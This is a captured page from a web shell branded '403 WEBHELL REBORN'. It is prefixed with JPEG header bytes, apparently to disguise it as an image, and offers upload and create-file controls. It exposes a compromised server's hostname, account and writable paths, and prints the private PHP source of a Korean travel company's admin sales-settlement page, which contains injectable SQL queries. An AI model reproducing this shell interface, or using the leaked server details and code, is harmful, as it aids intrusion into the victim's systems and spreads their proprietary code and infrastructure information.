ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/admin/cal/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/admin/cal/b2b_month_overseas_cal.html
<?php
include "../include/top.html";

if($period_yy == ""){
    $period_yy = date('Y');
}

if($period_mm == ""){
    $period_mm = date('m');
}

//p($period_yy);
//p($period_mm);

$period = $period_yy . "-" . $period_mm;

//p($period);

// 관리자
$admin_arr = member_fetch(" and mb_level <= 10 and del_flag='N' ");

$nat = 'KO';
$natWord = "국내";
if(strpos($_SERVER['REQUEST_URI'], 'overseas') !== false){
    //거래처
    $natWord = "해외";
    $agent_list = member_fetch(" and mb_level='12' AND bz_nat != '{$nat}'");
}else{
//거래처
    $agent_list = member_fetch(" and mb_level='12' AND bz_nat = '{$nat}'");
}

$koAgentList = member_fetch(" and mb_level='12' AND bz_nat = '{$nat}'");

$koAgentIdList = array();

foreach($koAgentList as $item){
    array_push($koAgentIdList, $item['mb_id']);
}


$agentList = array();
foreach($agent_list as $item){
    $agentList[$item['mb_id']] = $item['bz_corp_nm'];
}

//$data_agent = array();

$agentSellList = array();

foreach($agent_list as $item){

    if($item['bz_nat'] == 'KO'){
        continue;
    }

    $agentSellList[$item['mb_id']]['mb_id'] = $item['mb_id'];
    $agentSellList[$item['mb_id']]['name'] = $item['bz_corp_nm'];
    $agentSellList[$item['mb_id']]['bz_nat'] = $item['bz_nat'];

    //    $agentSellList[$item['mb_id']]['T'] = array('cnt' => 0, 'amount' => 0); //Ticket Pass
//    $agentSellList[$item['mb_id']]['D'] = array('cnt' => 0, 'amount' => 0); //Day Tour
//    $agentSellList[$item['mb_id']]['P'] = array('cnt' => 0, 'amount' => 0); //Bus Tour
//    $agentSellList[$item['mb_id']]['L'] = array('cnt' => 0, 'amount' => 0); //Hotel
//    $agentSellList[$item['mb_id']]['S'] = array('cnt' => 0, 'amount' => 0); //Pickup
//    $agentSellList[$item['mb_id']]['R'] = array('cnt' => 0, 'amount' => 0); //Rentcar
//    $agentSellList[$item['mb_id']]['V'] = array('cnt' => 0, 'amount' => 0); //Live Tour

    $agentSellList[$item['mb_id']] = array('totalCnt' => 0, 'totalAmount' => 0, 'bz_nat' => $item['bz_nat']); //total
}

$sql = "SELECT g_uid, b_uid, m_uid, s_uid FROM good";
$goodRes = db_query($sql);

$goodInfoList = array();

while($row = db_fetch_array($goodRes)){
    $goodInfoList[$row['g_uid']] = $row;
}

$start_ym = $period_yy.'-'.$period_mm;
$end_ym = $period_yy.'-'.$period_mm;

//p($start_ym);
//p($end_ym);

$res_data = TO_get_reserv_data_b2b($start_ym, $end_ym);




$ccc = 0;
foreach($res_data as $item) {

    if($item['agent_id'] == '' || $item['agent_id'] == 'tk'){
        $item['agent_id'] = 'tktravel';
    }




    /*if($goodInfoList[$item['g_uid']]['b_uid'] == null){
        continue;
    }*/

//    p($goodInfoList[$item['g_uid']]['b_uid']);

    if(!isset($agentSellList[$item['agent_id']][$goodInfoList[$item['g_uid']]['b_uid']]['cnt'])){
        $agentSellList[$item['agent_id']][$goodInfoList[$item['g_uid']]['b_uid']]['cnt'] = 0;
    }
    if(!isset($agentSellList[$item['agent_id']][$goodInfoList[$item['g_uid']]['b_uid']]['cnt'])){
        $agentSellList[$item['agent_id']][$goodInfoList[$item['g_uid']]['b_uid']]['amount'] = 0;
    }

    $agentSellList[$item['agent_id']][$goodInfoList[$item['g_uid']]['b_uid']]['cnt'] += 1;

    if($item['agent_id'] == 'tktravel'){

        if($goodInfoList[$item['g_uid']]['b_uid'] == 127 || $goodInfoList[$item['g_uid']]['b_uid'] == 143 || $goodInfoList[$item['g_uid']]['b_uid'] == 135 || $goodInfoList[$item['g_uid']]['b_uid'] ==  130 || $goodInfoList[$item['g_uid']]['b_uid'] == 124 || $goodInfoList[$item['g_uid']]['b_uid'] == 138){


            if(!$item['gdt_pe_daesu']){
                $resTotalAgent = (int) ($item['personAdult'] * (int) $item['adult_price']) + ($item['personChild'] * (int) $item['child_price']) + ($item['personBaby'] * (int) $item['baby_price']);
            }else{
                $resTotalAgent = (int) $item['gdt_pe_daesu'] * (int) $item['adult_price'];
            }

        }else{
            $resTotalAgent = (int) ($item['personAdult'] * (int) $item['adult_price']) + ($item['personChild'] * (int) $item['child_price']) + ($item['personBaby'] * (int) $item['baby_price']);
        }


        $agentSellList[$item['agent_id']][$goodInfoList[$item['g_uid']]['b_uid']]['amount'] += (int)$resTotalAgent;

    }else{



        if($goodInfoList[$item['g_uid']]['b_uid'] == 127 || $goodInfoList[$item['g_uid']]['b_uid'] == 143 || $goodInfoList[$item['g_uid']]['b_uid'] == 135 || $goodInfoList[$item['g_uid']]['b_uid'] ==  130 || $goodInfoList[$item['g_uid']]['b_uid'] == 124 || $goodInfoList[$item['g_uid']]['b_uid'] == 138){


            if(!$item['gdt_pe_daesu']){
                $resTotalAgent = (int) ($item['personAdult'] * (int) $item['adult_agent']) + ($item['personChild'] * (int) $item['child_agent']) + ($item['personBaby'] * (int) $item['baby_agent']);
            }else{
                $resTotalAgent = (int) $item['gdt_pe_daesu'] * (int) $item['adult_agent'];
            }

        }else{
            $resTotalAgent = (int) ($item['personAdult'] * (int) $item['adult_agent']) + ($item['personChild'] * (int) $item['child_agent']) + ($item['personBaby'] * (int) $item['baby_agent']);
        }

        $agentSellList[$item['agent_id']][$goodInfoList[$item['g_uid']]['b_uid']]['amount'] += (int) $resTotalAgent;
    }

    $agentSellList[$item['agent_id']]['totalCnt'] += 1;
    $agentSellList[$item['agent_id']]['totalAmount'] += (int) $resTotalAgent;

//    p($item['res_no']);
    if($item['res_no']){
        $resOptionData = getResOption($item['res_no']);


        if(count($resOptionData) > 0){


            foreach($resOptionData as $opItem){
                if($opItem['op_num'] > 0){

                    $opPriceAgent = (int) $opItem['op_price_agent'];
                    $opNum = (int) $opItem['op_num'];

                    if($opNum == 0 || $opPriceAgent == 0){
                        continue;
                    }

                    $agentSellList[$item['agent_id']]['totalAmount'] += $opPriceAgent * $opNum;

                    if($item['agent_id'] == 'creatrip'){
                        $ccc += $opPriceAgent * $opNum;
                    }

                }
            }
        }
    }
}

//if(devCookie()){
//    p($ccc);
//}



function getResOption($resNo){


    $sql = "SELECT * FROM TB_RES_GOOD_OPTION WHERE res_no = '{$resNo}'";
    $res = db_query($sql);

    $resturnData = array();
    while($row = db_fetch_array($res)){
        array_push($resturnData, $row);
    }
    return $resturnData;
}

$agentSellListArr = array();

foreach($agentSellList as $key => $item){
    $agentSellListArr[] = array('agentName' => $key, 'data' => $item, 'totalAmount' => $item['totalAmount']);
}


$agentSellListArr = arr_sort($agentSellListArr, 'totalAmount','desc');


$agentSellList = array();
foreach($agentSellListArr as $value){
    $agentSellList[$value['agentName']] = $value['data'];
}

foreach($agentSellList as $key => $item){
//    p($key);
//    p($item);

    //영어
    //99 tickets 129 k-pop
    if(isset($item['99']) && isset($item['129'])){
        $agentSellList[$key]['99']['amount'] += $agentSellList[$key]['129']['amount'];
        $agentSellList[$key]['99']['cnt'] += $agentSellList[$key]['129']['cnt'];
    }
    else if(!isset($item['99']) && isset($item['129'])){
        $agentSellList[$key]['99']['amount'] = 0;
        $agentSellList[$key]['99']['cnt'] = 0;
        $agentSellList[$key]['99']['amount'] += $agentSellList[$key]['129']['amount'];
        $agentSellList[$key]['99']['cnt'] += $agentSellList[$key]['129']['cnt'];
    }else if(isset($item['99']) && !isset($item['129'])){

    }

    //번체
    // 111 ticket, 122 k-pop
    if(isset($item['111']) && isset($item['122'])){
        $agentSellList[$key]['111']['cnt'] += $agentSellList[$key]['122']['cnt'];
        $agentSellList[$key]['111']['amount'] += $agentSellList[$key]['122']['amount'];
    }
    else if(!isset($item['111']) && isset($item['122'])){
        $agentSellList[$key]['111']['cnt'] = 0;
        $agentSellList[$key]['111']['amount'] = 0;
        $agentSellList[$key]['111']['cnt'] += $agentSellList[$key]['122']['cnt'];
        $agentSellList[$key]['111']['amount'] += $agentSellList[$key]['122']['amount'];
    }else if(isset($item['111']) && !isset($item['122'])){

    }

    //간체
    //105 ticket, 137 k-pop
    if(isset($item['105']) && isset($item['137'])){
        $agentSellList[$key]['105']['cnt'] += $agentSellList[$key]['137']['cnt'];
        $agentSellList[$key]['105']['amount'] += $agentSellList[$key]['137']['amount'];
    }
    else if(!isset($item['105']) && isset($item['137'])){
        $agentSellList[$key]['105']['cnt'] = 0;
        $agentSellList[$key]['105']['amount'] = 0;
        $agentSellList[$key]['105']['cnt'] += $agentSellList[$key]['137']['cnt'];
        $agentSellList[$key]['105']['amount'] += $agentSellList[$key]['137']['amount'];
    }else if(isset($item['105']) && !isset($item['137'])){

    }
}


//if(devCookie()){
//    p($agentSellList);
//    exit;
//
//}
function arr_sort($array, $key, $sort='asc') {
    $keys = array();
    $vals = array();

    foreach ($array as $k=>$v) {
        $i = $v[$key].'.'.$k;
        $vals[$i] = $v;
        array_push($keys, $k);
    }

    unset($array);

    if ($sort=='asc') {
        ksort($vals);
    } else {
        krsort($vals);
    }

    $ret = array_combine($keys, $vals);
    unset($keys);
    unset($vals);

    return $ret;
}

//if(devCookie()){
//    p($agentSellList);
//}

//데이터가 안나오게 하기 위함
$agentSellList = array();

?>


    <script type="text/javascript" src="https://www.gstatic.com/charts/loader.js"></script>
    <!--<script src="https://cdn.jsdelivr.net/npm/chart.js"></script>-->
    <!--<script src="https://cdn.jsdelivr.net/npm/chartjs-plugin-datalabels@2.0.0"></script>-->

    <style>
        input[type="number"]::-webkit-outer-spin-button,
        input[type="number"]::-webkit-inner-spin-button {
            -webkit-appearance: none;
            margin: 0;
        }
        .minusTotalCnt, .minusTotalAmount{border:1px solid #ccc}
        .minusTotalCnt {width:20px;text-align:center}
        .minusTotalAmount {width:63px;text-align:right}

        .form_in_btn li a{width: 62px !important;}


        /*#Content_box{display:none}*/
    </style>
    <div class="contents_wrap">
        <div class="contents_wrap_in">
            <div class="title"><strong>가이드 정산</strong></div>

            <div class="contents_detail">

                <!-- 폼 -->
                <form name="frm_search" id="frm_search" method="get">
                    <input type="hidden" name="period_mm" id="period_mm" value="<?=$period_mm?>">
                    <div class="c_top_bar_search">
                        <table width="" border="0" cellpadding="0" cellspacing="0" summary="여행상품 예약관리 통합검색입니다." class="c_top_table">
                            <caption>여행상품 예약관리 통합검색</caption>

                            <tbody>
                            <tr class="bot_line">
                                <th style="width:150px">검색년월</th>
                                <td><ul class="form_list">
                                        <li class="mr5">
                                            <select name="period_yy" id="item_period_yy">
                                                <? for ($yy=date('Y'); $yy >= (date('Y') - 5); $yy--){ ?>
                                                    <option value="<?=$yy?>" <?=($yy==$period_yy) ? "selected":""?>><?=$yy?>년</option>
                                                <? }?>
                                            </select>
                                        </li>
                                        <li>
                                            <ul class="form_in_btn item_period_mm">
                                                <? for($s=1 ; $s<=12 ; $s++){?>
                                                    <li class="<?if($s==$period_mm)echo "on";?>" month="<?=$s?>"><a href="javascript:;"><?=$s?>월</a></li>
                                                <? }?>
                                            </ul>
                                        </li>
                                    </ul>
                                </td>
                            </tr>
                            </tbody>
                        </table>
                    </div>
                </form>
                <!-- /폼 -->
                <?php
                $totalAreaColor = "#";
                ?>

                <style>
                    .t_list th{;padding:2px 10px !important;text-align:center;background:#e0eaf6}
                    .th2{text-align:center !important}
                    .t_list th{font-weight:bold}
                    .Tbtn.red{}

                </style>

                <div id="Content_box">
                    <form name="frm_reserv_good" id="frm_reserv_good" enctype="multipart/form-data" method="post">
                        <input type="hidden" name="period_yy" id="period_yy" value="<?=$period_yy?>">
                        <input type="hidden" name="period_mm" id="period_mm" value="<?=$period_mm?>">

                        <!--                    <h1 style="color:red;font-size:20px">B2B 가격 적용 개발중</h1>-->
                        <h2 class="mt30">▍<?=$period_yy?>년 <?=$period_mm?>월 거래처 매출 내역</h2>

                        <?php
                        $amountWidth = "70px";
                        ?>
                        <table style="width:1100px" border="0" cellspacing="0" cellpadding="0" class="t_list">
                            <thead>
                            <tr>
                                <th style="border-bottom: 1px solid #000;border-top:2px solid #000;width:150px;border-right:1px solid #ccc !important;" rowspan="2">거래처명</th>
                                <th style="border-top:2px solid #000;border-right:1px solid #ccc !important;" colspan="2">당일투어</th>
                                <th style="border-top:2px solid #000;border-right:1px solid #ccc !important;" colspan="2">숙박패키지</th>
                                <th style="border-top:2px solid #000;border-right:1px solid #ccc !important;" colspan="2">티켓</th>
                                <th style="border-top:2px solid #000;border-right:1px solid #ccc !important;" colspan="2">공항픽업</th>
                                <th colspan="2" style="border-top:2px solid #000;_background:#fffde1;border-right:1px solid #ccc !important;">버스렌트</th>
                                <th colspan="2" style="border-top:2px solid #000;background:#fffde1;border-right:1px solid #ccc !important;">총합계</th>
                                <th rowspan="2" style="border-top:2px solid #000;width:88px;background:#555;color:#fff;border-bottom: 1px solid #000;">인보이스</th>
                            </tr>
                            <tr>
                                <th class="th2" style="border-bottom: 1px solid #000;">수량</th>
                                <th style="border-bottom: 1px solid #000;width:<?=$amountWidth?>;border-right:1px solid #ccc !important;" class="th2">금액</th>
                                <th style="border-bottom: 1px solid #000;">수량</th>
                                <th style="border-bottom: 1px solid #000;width:<?=$amountWidth?>;border-right:1px solid #ccc !important;">금액</th>
                                <th style="border-bottom: 1px solid #000;">수량</th>
                                <th style="border-bottom: 1px solid #000;width:<?=$amountWidth?>;border-right:1px solid #ccc !important;">금액</th>
                                <th style="border-bottom: 1px solid #000;">수량</th>
                                <th style="border-bottom: 1px solid #000;width:<?=$amountWidth?>;border-right:1px solid #ccc !important;">금액</th>
                                <th style="border-bottom: 1px solid #000;_background:#fffde1">수량</th>
                                <th style="border-bottom: 1px solid #000;width:<?=$amountWidth?>;_background:#fffde1;border-right:1px solid #ccc !important;">금액</th>
                                <th style="border-bottom: 1px solid #000;background:#fffde1">수량</th>
                                <th style="border-bottom: 1px solid #000;width:<?=$amountWidth?>;background:#fffde1;border-right:1.5px solid #ccc !important;">금액</th>
                            </tr>
                            </thead>
                            <tbody>
                            <?php

                            /*if(devCookie()){
                                p($agentSellList);
                                exit;
                            }*/

                            $idx = 1;

                            foreach($agentSellList as $key => $value){



                                if($key == '' || $value['totalAmount'] == 0) {
                                    continue;
                                }
                                //$koAgentIdList
                                //한국 예약건 Pass
                                if(in_array($key, $koAgentIdList)){
                                    continue;
                                }

                                ?>
                                <tr>
                                    <td style="text-align:left;padding-left:10px;border-right:1px solid #ccc !important;" class="agentName"><?=(($agentList[$key] != '') ? $agentList[$key] : (($key == 'tktravel') ? 'TRAVEL BUS' : $key))?></td>

                                    <?php
                                    //당일투어 영역
                                    //영어 125
                                    //번체 118
                                    $enDayTour = 125;
                                    $hkDayTour = 118;
                                    $cnDayTour = 132;


                                    ?>
                                    <td style="border-right:1px solid #ccc !important;">
                                        <?php
                                        $dayTotalCnt = 0;
                                        if(isset($value[$enDayTour])){
//                                            echo number_format($value[$enDayTour]['cnt']);
                                            $dayTotalCnt += (int) $value[$enDayTour]['cnt'];
                                        }
                                        ?>

                                        <?php
                                        if(isset($value[$hkDayTour])){
//                                        echo number_format($value[$hkDayTour]['cnt']);
                                            $dayTotalCnt += (int) $value[$hkDayTour]['cnt'];
                                        }
                                        ?>

                                        <?php
                                        if(isset($value[$cnDayTour])){
//                                        echo number_format($value[$cnDayTour]['cnt']);
                                            $dayTotalCnt += (int) $value[$cnDayTour]['cnt'];
                                        }

                                        echo number_format($dayTotalCnt);

                                        ?>


                                    </td>
                                    <td style="text-align: right;border-right:1px solid #ccc !important;">
                                        <?php
                                        $dayTotalAmount = 0;
                                        if(isset($value[$enDayTour])){
//                                        echo number_format($value[$enDayTour]['amount']);
                                            $dayTotalAmount += (int) $value[$enDayTour]['amount'];
                                        }
                                        ?>

                                        <?php
                                        if(isset($value[$hkDayTour])){
//                                        echo number_format($value[$hkDayTour]['amount']);
                                            $dayTotalAmount += (int) $value[$hkDayTour]['amount'];
                                        }
                                        ?>

                                        <?php
                                        if(isset($value[$cnDayTour])){
//                                        echo number_format($value[$cnDayTour]['amount']);
                                            $dayTotalAmount += (int) $value[$cnDayTour]['amount'];
                                        }

                                        echo number_format($dayTotalAmount);
                                        ?>


                                    </td>

                                    <?php
                                    //숙박패키지 영역
                                    $enTourPackage = 126;
                                    $hkTourPackage = 119;
                                    $cnTourPackage = 133;
                                    ?>
                                    <td style="border-right:1px solid #ccc !important;">
                                        <?php
                                        $tourPackageTotalCnt = 0;
                                        if(isset($value[$enTourPackage])){
//                                        echo number_format($value[$enTourPackage]['cnt']);
                                            $tourPackageTotalCnt += (int) $value[$enTourPackage]['cnt'];
                                        }
                                        ?>

                                        <?php
                                        if(isset($value[$hkTourPackage])){
//                                        echo number_format($value[$hkTourPackage]['cnt']);
                                            $tourPackageTotalCnt += (int) $value[$hkTourPackage]['cnt'];
                                        }
                                        ?>

                                        <?php
                                        if(isset($value[$cnTourPackage])){
//                                        echo number_format($value[$cnTourPackage]['cnt']);
                                            $tourPackageTotalCnt += (int) $value[$cnTourPackage]['cnt'];
                                        }
                                        echo number_format($tourPackageTotalCnt);
                                        ?>
                                    </td>
                                    <td style="text-align: right;border-right:1px solid #ccc !important;">
                                        <?php
                                        $tourPackageTotalAmount = 0;
                                        if(isset($value[$enTourPackage])){
//                                        echo number_format($value[$enTourPackage]['amount']);
                                            $tourPackageTotalAmount += (int) $value[$enTourPackage]['amount'];
                                        }
                                        ?>

                                        <?php
                                        if(isset($value[$hkTourPackage])){
//                                        echo number_format($value[$hkTourPackage]['amount']);
                                            $tourPackageTotalAmount += (int) $value[$hkTourPackage]['amount'];
                                        }
                                        ?>

                                        <?php
                                        if(isset($value[$cnTourPackage])){
//                                        echo number_format($value[$cnTourPackage]['amount']);
                                            $tourPackageTotalAmount += (int) $value[$cnTourPackage]['amount'];
                                        }
                                        echo number_format($tourPackageTotalAmount);
                                        ?>
                                    </td>

                                    <?php
                                    //티켓 영역
                                    $enTicket = 99;
                                    $hkTicket = 111;
                                    $cnTicket = 105;
                                    ?>
                                    <td style="border-right:1px solid #ccc !important;">
                                        <?php
                                        $ticketTotalCnt = 0;
                                        if(isset($value[$enTicket])){
//                                        echo 'en<br>';
//                                        echo number_format($value[$enTicket]['cnt']);
                                            $ticketTotalCnt += (int) $value[$enTicket]['cnt'];
                                        }
                                        ?>

                                        <?php
                                        if(isset($value[$hkTicket])){
//                                        echo 'hk<br>';
//                                        echo number_format($value[$hkTicket]['cnt']);
                                            $ticketTotalCnt += (int) $value[$hkTicket]['cnt'];
                                        }
                                        ?>

                                        <?php
                                        if(isset($value[$cnTicket])){
//                                        echo 'cn<br>';
//                                        echo number_format($value[$cnTicket]['cnt']);
                                            $ticketTotalCnt += (int) $value[$cnTicket]['cnt'];
                                        }
                                        echo number_format($ticketTotalCnt);
                                        ?>
                                    </td>
                                    <td style="text-align: right;border-right:1px solid #ccc !important;">
                                        <?php
                                        $ticketTotalAmount = 0;
                                        if(isset($value[$enTicket])){
//                                        echo 'en<br>';
//                                        echo number_format($value[$enTicket]['amount']);
                                            $ticketTotalAmount += (int) $value[$enTicket]['amount'];
                                        }
                                        ?>

                                        <?php
                                        if(isset($value[$hkTicket])){
//                                        echo 'hk<br>';
//                                        echo number_format($value[$hkTicket]['amount']);
                                            $ticketTotalAmount += (int) $value[$hkTicket]['amount'];
                                        }
                                        ?>

                                        <?php
                                        if(isset($value[$cnTicket])){
//                                        echo 'cn<br>';
//                                        echo number_format($value[$cnTicket]['amount']);
                                            $ticketTotalAmount += (int) $value[$cnTicket]['amount'];
                                        }
                                        echo number_format($ticketTotalAmount);
                                        ?>
                                    </td>

                                    <?php
                                    //공항픽업 영역
                                    $enAirportTransfer = 127;
                                    $hkAirportTransfer = 143;
                                    $cnAirportTransfer = 135;
                                    ?>
                                    <td style="border-right:1px solid #ccc !important;">
                                        <?php
                                        $airportTransferTotalCnt = 0;
                                        if(isset($value[$enAirportTransfer])){
//                                        echo number_format($value[$enAirportTransfer]['cnt']);
                                            $airportTransferTotalCnt += (int) $value[$enAirportTransfer]['cnt'];
                                        }
                                        ?>

                                        <?php
                                        if(isset($value[$hkAirportTransfer])){
//                                        echo number_format($value[$hkAirportTransfer]['cnt']);
                                            $airportTransferTotalCnt += (int) $value[$hkAirportTransfer]['cnt'];

                                        }
                                        ?>

                                        <?php
                                        if(isset($value[$cnAirportTransfer])){
//                                        echo number_format($value[$cnAirportTransfer]['cnt']);
                                            $airportTransferTotalCnt += (int) $value[$cnAirportTransfer]['cnt'];
                                        }
                                        echo number_format($airportTransferTotalCnt);
                                        ?>
                                    </td>
                                    <td style="text-align: right;border-right:1px solid #ccc !important;">
                                        <?php
                                        $airportTransferTotalAmount = 0;
                                        if(isset($value[$enAirportTransfer])){
//                                        echo number_format($value[$enAirportTransfer]['amount']);
                                            $airportTransferTotalAmount += (int) $value[$enAirportTransfer]['amount'];
                                        }
                                        ?>

                                        <?php
                                        if(isset($value[$hkAirportTransfer])){
//                                        echo number_format($value[$hkAirportTransfer]['amount']);
                                            $airportTransferTotalAmount += (int) $value[$hkAirportTransfer]['amount'];
                                        }
                                        ?>

                                        <?php
                                        if(isset($value[$cnAirportTransfer])){
//                                        echo number_format($value[$cnAirportTransfer]['amount']);
                                            $airportTransferTotalAmount += (int) $value[$cnAirportTransfer]['amount'];
                                        }
                                        echo number_format($airportTransferTotalAmount);
                                        ?>
                                    </td>

                                    <?php
                                    //버스렌트 영역
                                    $enCarRental = 130;
                                    $hkCarRental = 124;
                                    $cnCarRental = 138;

                                    ?>
                                    <td style="border-right:1px solid #ccc !important;">
                                        <?php
                                        $carRentalTotalCnt = 0;
                                        if(isset($value[$enCarRental])){
//                                        echo number_format($value[$enCarRental]['cnt']);
                                            $carRentalTotalCnt += (int) $value[$enCarRental]['cnt'];
                                        }
                                        ?>

                                        <?php
                                        if(isset($value[$hkCarRental])){
//                                        echo number_format($value[$hkCarRental]['cnt']);
                                            $carRentalTotalCnt += (int) $value[$hkCarRental]['cnt'];
                                        }
                                        ?>

                                        <?php
                                        if(isset($value[$cnCarRental])){
//                                        echo number_format($value[$cnCarRental]['cnt']);
                                            $carRentalTotalCnt += (int) $value[$cnCarRental]['cnt'];
                                        }
                                        echo number_format($carRentalTotalCnt);
                                        ?>
                                    </td>
                                    <td style="text-align: right;border-right:1px solid #ccc !important;">
                                        <?php
                                        $carRentalTotalAmount = 0;
                                        if(isset($value[$enCarRental])){
//                                        echo number_format($value[$enCarRental]['amount']);
                                            $carRentalTotalAmount += (int) $value[$enCarRental]['amount'];
                                        }
                                        ?>

                                        <?php
                                        if(isset($value[$hkCarRental])){
//                                        echo number_format($value[$hkCarRental]['amount']);
                                            $carRentalTotalAmount += (int) $value[$hkCarRental]['amount'];
                                        }
                                        ?>

                                        <?php
                                        if(isset($value[$cnCarRental])){
//                                        echo number_format($value[$cnCarRental]['amount']);
                                            $carRentalTotalAmount += (int) $value[$cnCarRental]['amount'];
                                        }
                                        echo number_format($carRentalTotalAmount);
                                        ?>
                                    </td>

                                    <td style="font-weight:600;border-right:1px solid #ccc !important;background:#fffde1" id="minusTotalCnt<?=$idx?>"><?=number_format($value['totalCnt'])?></td>
                                    <td style="font-weight:600;text-align:right;background:#fffde1;border-right:1px solid #ccc !important;" class="agentAmount" id="minusTotalAmount<?=$idx?>"><?=number_format($value['totalAmount'])?></td>
                                    <td>

                                        <a href="javascript:;" class="Tbtn" style="background:#206f44;color:#fff;border:1px solid #206f44;padding:5px 19px" onclick="invoice_excel_download('<?=$key?>')">EXCEL <i style="font-size:20px;margin-top:-6px;margin-right:-6px;position:relative;top:4px" class="xi-download"></i></a>

                                    </td>
                                </tr>
                                <?php
                                $idx++;
                            }
                            ?>
                            </tbody>
                        </table>

                        <div style="    clear: both;
    float: left;
    margin-top: 10px;">

                            <h2 class="mt30">▍<?=$period_yy?>년 <?=$period_mm?>월 통계 자료</h2>

                            <section id="staticB2bMonthCalArea">

                            </section>

                        </div>


                        <style>
                            /*line:nth-child(1){stroke:#5AC8DB !important;}*/
                            line:nth-child(2){stroke:#fafafa !important;}
                            line:nth-child(3){stroke:#fafafa !important;}
                            line:nth-child(4){stroke:#fafafa !important;}
                            line:nth-child(5){stroke:#fafafa !important;}
                            line:nth-child(6){stroke:#fafafa !important;}
                            line:nth-child(7){stroke:#fafafa !important;}
                            line:nth-child(8){stroke:#fafafa !important;}
                            line:nth-child(9){stroke:#fafafa !important;}
                            line:nth-child(10){stroke:#fafafa !important;}
                        </style>
                        <?php
                        $chartHeight = "300px";
                        if(strpos($_SERVER['REQUEST_URI'], 'overseas') !== false){
                            $chartHeight = "500px";
                        }
                        ?>
                        <div id="staticB2bMonthCal" style="clear:both;float: left;border: 1px solid #e4e4e4;width: 1100px;height:<?=$chartHeight?>"></div>


                        <script type="text/javascript">
                            google.charts.load('current', {'packages':['bar']});
                            google.charts.setOnLoadCallback(drawChart);


                            agentChartInfo = new Array(['','합계']);
                            // agentChartInfo = new Array();
                            for(i = 0; i < document.getElementsByClassName('agentName').length; i++){

                                console.log(document.getElementsByClassName('agentName')[i].innerText);
                                console.log(document.getElementsByClassName('agentAmount')[i].innerText);

                                agentName = document.getElementsByClassName('agentName')[i].innerText;
                                agentAmount = document.getElementsByClassName('agentAmount')[i].innerText;
                                agentAmount = agentAmount.replaceAll(",","");
                                agentAmount = parseInt(agentAmount);

                                // agentChartInfo.push([agentName,agentAmount,'color: #5AC8DB']);
                                agentChartInfo.push([agentName,agentAmount]);
                                // agentChartInfo.push([agentName,agentAmount]);
                                // agentChartInfo.push([agentName,agentAmount]);
                            }

                            // console.log('agentChartInfo is ' + JSON.stringify(agentChartInfo));

                            /*List.sort(function(a,b) {
                                if (a.AAA*1 > b.AAA*1) return -1;
                                if (a.AAA*1 < b.AAA*1) return 1;
                                return 0;
                            });*/




                            function drawChart() {
                                var data = google.visualization.arrayToDataTable(
                                    agentChartInfo
                                );

                                /*var data = google.visualization.arrayToDataTable([
                                    ['Element', 'Density', { role: 'style' }],
                                    ['Copper', 8.94, '#b87333'],            // RGB value
                                    ['Silver', 10.49, 'color: gray'],            // English color name
                                    ['Gold', 19.30, 'gold'],
                                    ['Platinum', 21.45, 'color: #e5e4e2' ], // CSS-style declaration
                                ]);*/


                                var options = {
                                    chart: {
                                        title: '',
                                        subtitle: '',
                                    },

                                    chartArea: {
                                        backgroundColor: {
                                            fill: '#fafafa',
                                            opacity: 1
                                        },
                                    },

                                    backgroundColor: {
                                        fill: '#fafafa',
                                        fillOpacity: 1
                                    },

                                    // width: 600,
                                    // height: 500,

                                    // lineWidth: 4,
                                    // series: [{'color': '#1A8763'}],
                                    // intervals: { 'lineWidth':5, 'barWidth': 0.5, style: 'boxes' },

                                    bar: {
                                        groupWidth: "25%",
                                        // value: true
                                        // groupHeight: "30px",
                                        // color:'#5AC8DB',
                                    },

                                    colors: ['#5AC8DB','#5AC8DB'],

                                    legend: {position: 'none'},
                                    // legend: 'none',
                                    // library: {legend:{position:'none'}}


                                    bars: 'horizontal' // Required for Material Bar Charts.
                                };

                                var chart = new google.charts.Bar(document.getElementById('staticB2bMonthCal'));

                                chart.draw(data, google.charts.Bar.convertOptions(options));
                            }
                        </script>



                    </form>




                </div>
            </div>
        </div>

        <iframe name="IMGIF" id="IMGIF" width="0" height="0" style="display:none;"></iframe>


        <script>
            $(window).load(function(){
                $('#item_period_yy').change(function(){
                    period_mm = $('#period_mm').val();
                    location.href = '/admin/cal/b2b_month_overseas_cal.html?period_yy=' + $(this).val() + '&period_mm=' + period_mm;
                })

                $('.item_period_mm li').click(function(){
                    if($(this).attr('month').length == 1){
                        period_mm = '0' + $(this).attr('month');
                    }else{
                        period_mm = $(this).attr('month');
                    }
                    period_yy = $('#period_yy').val();
                    location.href = '/admin/cal/b2b_month_overseas_cal.html?period_yy=' + period_yy + '&period_mm=' + period_mm;
                })
            })



            function invoice_excel_download(agentID){
                // alert('개발중');
                // return false;
                var dateterm = $('#period_yy').val() + '-' + $('#period_mm').val();
                var url = "/admin/cal/b2b_month_tk_excel.html?agent_id="+agentID+"&dateterm="+dateterm;
                location.href = url;
            }

        </script>
<?php
include "../include/footer.html";
?>

Anon7 - 2021